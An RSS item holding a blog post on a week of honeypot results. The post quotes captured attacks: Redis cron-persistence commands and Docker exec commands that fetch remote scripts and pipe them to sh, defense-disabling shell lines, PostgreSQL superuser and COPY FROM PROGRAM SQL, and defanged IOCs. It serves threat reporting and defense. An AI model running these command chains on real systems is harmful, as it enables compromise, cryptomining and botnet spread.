<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: Atila Tair</title>
    <description>The latest articles on DEV Community by Atila Tair (@atilatair).</description>
    <link>https://dev.to/atilatair</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F3900751%2F9859df8b-5398-435f-b615-127e1063692c.png</url>
      <title>DEV Community: Atila Tair</title>
      <link>https://dev.to/atilatair</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/atilatair"/>
    <language>en</language>
    <item>
      <title>I Ran a Honeypot for a Week. The Results Were Shocking.</title>
      <dc:creator>Atila Tair</dc:creator>
      <pubDate>Fri, 01 May 2026 19:03:39 +0000</pubDate>
      <link>https://dev.to/atilatair/i-ran-a-honeypot-for-a-week-the-results-were-shocking-25ae</link>
      <guid>https://dev.to/atilatair/i-ran-a-honeypot-for-a-week-the-results-were-shocking-25ae</guid>
      <description>&lt;p&gt;I put a deliberately vulnerable-looking honeypot on a small cloud VPS and left it exposed to the public internet. The goal was simple: make it look enough like a messy real environment that bots would show me what they actually do after they find an exposed service.&lt;/p&gt;

&lt;p&gt;The honeypot pretended to be several things at once: Redis, Docker Engine API, PostgreSQL, Elasticsearch, SSH, HTTP/HTTPS telemetry panels, and a kubelet-like service. It did not contain real data and it did not execute attacker payloads. Anything that looked like a malware URL was queued to a separate collector, downloaded as inert evidence, hashed, and stored as &lt;code&gt;sample.bin&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Over the first week it recorded 6,131 events from 1,083 unique source IPs. The most targeted services were PostgreSQL, Elasticsearch, raw TCP, Docker API, HTTP, SSH, Redis, HTTPS, and kubelet. That is the boring summary. The interesting part is what the attackers tried to do once the fake services answered.&lt;/p&gt;




&lt;h2&gt;
  
  
  The headline findings
&lt;/h2&gt;

&lt;p&gt;Three things stood out immediately.&lt;/p&gt;

&lt;p&gt;First, the fake Redis service caught full cron-persistence attacks. These were not simple &lt;code&gt;INFO&lt;/code&gt; checks. Attackers used &lt;code&gt;CONFIG SET&lt;/code&gt;, &lt;code&gt;SAVE&lt;/code&gt;, and &lt;code&gt;FLUSHALL&lt;/code&gt; to try to make Redis write cron files that would run shell downloaders every few minutes.&lt;/p&gt;

&lt;p&gt;Second, the fake Docker API caught repeated &lt;code&gt;libredtail-http&lt;/code&gt; exploitation. The bots enumerated containers, created exec objects, and then started those exec objects. The command they wanted to run was the classic disaster pattern: download a remote script and pipe it straight into &lt;code&gt;sh&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Third, an HTTP router-style exploit delivered &lt;code&gt;cat.sh&lt;/code&gt;, a tiny shell loader that downloaded fourteen different ELF binaries for different CPU architectures. Those binaries contained a taunt: “Looks like you are a honeypot, this tool was made by t.me/flylegit!”&lt;/p&gt;




&lt;h2&gt;
  
  
  The Redis attack: turning a database into a cron writer
&lt;/h2&gt;

&lt;p&gt;The most complete attack chain came through Redis. The attacker sent a sequence like this:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;COMMAND DOCS
CONFIG SET dbfilename backup.db
SAVE
CONFIG SET stop-writes-on-bgsave-error no
FLUSHALL
SET backup1 "*/2 * * * * cd1 -fsSL hxxp://34.70.205[.]211/.../kworker | sh"
SET backup2 "*/3 * * * * wget -q -O- hxxp://34.70.205[.]211/.../kworker | sh"
SET backup3 "*/4 * * * * curl -fsSL hxxp://38.150.0[.]118/.../kworker | sh"
CONFIG SET dir /var/spool/cron/
CONFIG SET dbfilename root
SAVE
CONFIG SET dir /etc/cron.d/
CONFIG SET dbfilename javae
SAVE
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;In plain English, the bot was trying to use Redis persistence features as an arbitrary file write. If Redis can write to &lt;code&gt;/var/spool/cron/&lt;/code&gt; or &lt;code&gt;/etc/cron.d/&lt;/code&gt;, the attacker gets scheduled command execution. The script being scheduled was &lt;code&gt;kworker&lt;/code&gt;.&lt;/p&gt;




&lt;h2&gt;
  
  
  The &lt;code&gt;kworker&lt;/code&gt; script: a cloud cryptominer installer in shell form
&lt;/h2&gt;

&lt;p&gt;The &lt;code&gt;kworker&lt;/code&gt; sample was 36,273 bytes and appeared 25 times with the same SHA256:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;92a71778310bf37cf81c8f42a250ea7b9ed17042b577d90f5d179f90ac1c056a
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;It starts like a normal shell script, but it quickly becomes a full post-exploitation playbook.&lt;/p&gt;

&lt;p&gt;It disables host defenses:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;iptables &lt;span class="nt"&gt;-F&lt;/span&gt;
ufw disable
setenforce 0
&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"SELINUX=disabled"&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; /etc/sysconfig/selinux
service apparmor stop
systemctl disable apparmor
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;It removes cloud security agents and monitoring tools, especially Alibaba/Tencent-style agents:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;AliYunDun
AliHids
AliSecGuard
aegis
YunJing
barad
cloudmonitor
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;It kills competitors:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;xmrig
kinsing
kdevtmpfsi
moneroocean
TeamTNT
watchdogs
httpgd
sustse
cryptonight
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;It installs persistence with cron jobs, immutable file attributes, and fake kernel-worker-like names:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;/etc/javae
/etc/kworker
/tmp/javae
/tmp/kworker
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;It also writes an attacker SSH public key into &lt;code&gt;authorized_keys&lt;/code&gt;, wraps &lt;code&gt;ps/top/pstree&lt;/code&gt; to hide its process names, and attempts lateral movement by using &lt;code&gt;/root/.ssh/known_hosts&lt;/code&gt; with existing SSH keys.&lt;/p&gt;

&lt;p&gt;This was not just a miner. It was a miner installer, cleaner, persistence system, and lateral movement script.&lt;/p&gt;




&lt;h2&gt;
  
  
  Docker: fake containers, real exploitation logic
&lt;/h2&gt;

&lt;p&gt;The Docker API honeypot produced one of the most satisfying chains because the attacker followed the fake state. The bot asked for containers, selected the fake IDs, created exec objects, and then started those exec objects:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;GET  /containers/json
POST /containers/&amp;lt;id&amp;gt;/exec
POST /exec/&amp;lt;exec_id&amp;gt;/start
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The command looked like this:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;(wget --no-check-certificate -qO- hxxps://125.135.169[.]171/sh || curl -sk hxxps://125.135.169[.]171/sh) | sh -s docker.selfrep
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The loader selected an execution directory, avoided &lt;code&gt;noexec&lt;/code&gt; mounts, downloaded architecture-specific payloads, gave them randomized dotfile names, and executed the matching one. Two variants were collected:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;8fdd3ab82e8c40e4262d6ea426cf8668541cc9396c38c438b44951422ef2fa52
6e55b212f06eda7e0993d1302332e20453df87c66987acc3be3206ec9e9ffa6f
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The original &lt;code&gt;204.76.203[.]196/sh&lt;/code&gt; endpoint appeared frequently in the logs, but by the time the collector tried to fetch it, it mostly timed out.&lt;/p&gt;




&lt;h2&gt;
  
  
  The &lt;code&gt;iran.*&lt;/code&gt; botnet family
&lt;/h2&gt;

&lt;p&gt;The most fascinating artifact came from an HTTP command injection. The command downloaded &lt;code&gt;cat.sh&lt;/code&gt; from &lt;code&gt;83.168.110[.]191&lt;/code&gt;. That script was only 1,901 bytes, but it tried to fetch fourteen architecture-specific binaries:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;iran.x86_64
iran.aarch64
iran.m68k
iran.mips
iran.mipsel
iran.powerpc
iran.sparc
iran.sh4
iran.arc
iran.i486
iran.armv4l
iran.armv5l
iran.armv6l
iran.armv7l
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Most of the ELF samples shared the same strings:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Looks like you are a honeypot, this tool was made by t.me/flylegit!
t.me/flylegit
83.168.110.191
!update
!kill
udpplain
http
ping
pong %s
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;They also contained HTTP request templates and fake user agents, which points to DDoS/bot functionality. The &lt;code&gt;x86_64&lt;/code&gt; sample was UPX-packed and had no section header, so its useful strings were hidden, but it came from the same loader and naming scheme.&lt;/p&gt;




&lt;h2&gt;
  
  
  PostgreSQL: they tried to become superuser
&lt;/h2&gt;

&lt;p&gt;The PostgreSQL honeypot also paid off. Attackers did not only connect; they issued SQL. The most interesting pattern checked for a role named &lt;code&gt;pgg_superadmins&lt;/code&gt;, attempted to create it as a superuser, and used &lt;code&gt;COPY ... FROM PROGRAM&lt;/code&gt; with base64 shell content. That is a direct attempt to execute OS commands through PostgreSQL once privileges allow it.&lt;/p&gt;

&lt;p&gt;Repeated SQL included:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="k"&gt;SELECT&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="k"&gt;FROM&lt;/span&gt; &lt;span class="n"&gt;pg_catalog&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;pg_user&lt;/span&gt; &lt;span class="k"&gt;WHERE&lt;/span&gt; &lt;span class="n"&gt;usename&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;'pgg_superadmins'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;CREATE&lt;/span&gt; &lt;span class="k"&gt;ROLE&lt;/span&gt; &lt;span class="n"&gt;pgg_superadmins&lt;/span&gt; &lt;span class="k"&gt;WITH&lt;/span&gt; &lt;span class="n"&gt;LOGIN&lt;/span&gt; &lt;span class="n"&gt;SUPERUSER&lt;/span&gt; &lt;span class="n"&gt;PASSWORD&lt;/span&gt; &lt;span class="s1"&gt;'&amp;lt;redacted in blog&amp;gt;'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;COPY&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="k"&gt;table&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="k"&gt;FROM&lt;/span&gt; &lt;span class="n"&gt;PROGRAM&lt;/span&gt; &lt;span class="s1"&gt;'echo &amp;lt;base64 shell&amp;gt; ...'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;revoke&lt;/span&gt; &lt;span class="n"&gt;pg_execute_server_program&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="n"&gt;postgres&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;That is a very different signal than a simple port scan.&lt;/p&gt;




&lt;h2&gt;
  
  
  IOCs
&lt;/h2&gt;

&lt;p&gt;Defanged indicators from this run:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Indicator&lt;/th&gt;
&lt;th&gt;Context&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;hxxp://34.70.205[.]211/plugins-dist/safehtml/lang/font/kworker&lt;/td&gt;
&lt;td&gt;Redis cron persistence / kworker dropper&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;hxxp://34.70.205[.]211/plugins-dist/safehtml/lang/font/javae&lt;/td&gt;
&lt;td&gt;Second-stage miner candidate&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;hxxp://38.150.0[.]118/dewfhuewr4r89/98hy67//kworker&lt;/td&gt;
&lt;td&gt;Redis backup cron downloader&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;hxxps://217.60.241[.]36/sh&lt;/td&gt;
&lt;td&gt;Docker loader variant&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;hxxps://125.135.169[.]171/sh&lt;/td&gt;
&lt;td&gt;Docker loader variant&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;hxxp://83.168.110[.]191/cat.sh&lt;/td&gt;
&lt;td&gt;Multi-arch iran loader&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;83.168.110[.]191&lt;/td&gt;
&lt;td&gt;Iran/flylegit C2/stager&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;t.me/flylegit&lt;/td&gt;
&lt;td&gt;Marker embedded in iran ELF samples&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;




&lt;h2&gt;
  
  
  What I learned
&lt;/h2&gt;

&lt;p&gt;The biggest lesson is that exposed services do not just get “scanned.” If they answer convincingly enough, they get walked through full playbooks.&lt;/p&gt;

&lt;p&gt;Redis attackers tried to write cron files. Docker attackers tried to run commands inside containers. PostgreSQL attackers tried to create superusers and use &lt;code&gt;COPY FROM PROGRAM&lt;/code&gt;. IoT attackers dropped multi-architecture binaries. The malware itself expected cloud environments, killed security agents, removed competitor miners, installed SSH access, and tried to spread.&lt;/p&gt;




&lt;h2&gt;
  
  
  Future Work
&lt;/h2&gt;

&lt;p&gt;I’ll keep updating this project as the honeypot collects more malware samples and attack data. I also plan to keep improving the honeypot infrastructure step by step, the core sensor is written in Go, with separate tooling for artifact collection and analysis.&lt;/p&gt;

&lt;p&gt;Stay safe, and don’t expose real services to the internet unless you know exactly what you’re doing.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;LinkedIn: &lt;a href="https://www.linkedin.com/in/atila-tair/" rel="noopener noreferrer"&gt;https://www.linkedin.com/in/atila-tair/&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;GitHub: &lt;a href="https://github.com/so1icitx" rel="noopener noreferrer"&gt;https://github.com/so1icitx&lt;/a&gt;
&lt;/li&gt;
&lt;/ul&gt;




</description>
      <category>cybersecurity</category>
      <category>security</category>
      <category>infosec</category>
      <category>go</category>
    </item>
  </channel>
</rss>
